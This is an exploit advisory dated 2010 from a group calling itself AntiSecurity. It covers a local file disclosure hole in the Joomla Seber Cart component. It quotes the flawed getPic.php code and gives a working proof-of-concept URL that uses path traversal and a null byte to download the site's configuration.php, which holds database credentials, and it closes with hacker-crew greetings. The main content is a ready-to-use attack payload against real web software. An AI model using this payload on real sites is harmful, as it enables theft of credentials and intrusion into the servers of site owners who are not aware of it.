Joomla Seber Cart 1.0.0.1x Local File Disclosure

`  
=========================================================================================================  
  
  
[o] Joomla Component Seber Cart Local File Disclosure Vulnerability  
  
Software : com_sebercart version 1.0.0.1x  
Vendor : http://www.seber.com.au/  
Author : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]  
Contact : public[dot]antisecurity[dot]org  
Home : http://antisecurity.org/  
  
  
=========================================================================================================  
  
[o] Vulnerable File  
  
components/com_sebercart/getPic.php  
  
if (file_exists($_GET['p'] . "/components/com_sebercart/thumbs/" . $_GET['pk'] . ".jpg"))  
{   
header('Content-type: image/jpeg');  
header('Content-Disposition: attachment; filename="image.jpg"');  
readfile($_GET['p'] . "/components/com_sebercart/thumbs/" . $_GET['pk'] . ".jpg");  
}  
  
  
[o] Exploit  
  
http://localhost/[path]/components/com_sebercart/getPic.php?p=[LFD]%00  
  
Download the image.jpg file and open with notepad or gedit.  
  
  
[o] PoC  
  
http://localhost/components/com_sebercart/getPic.php?p=../../configuration.php%00  
  
  
=========================================================================================================  
  
  
[o] Greetz  
  
Angela Zhang stardustmemory aJe martfella pizzyroot Genex  
H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti  
skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11 inc0mp13te  
ArRay bjork xmazinha & all people in #evilc0de [at] irc.byroe.net  
  
  
=========================================================================================================  
  
  
[o] May 13 2010 - GMT +07:00 Jakarta, Indonesia  
`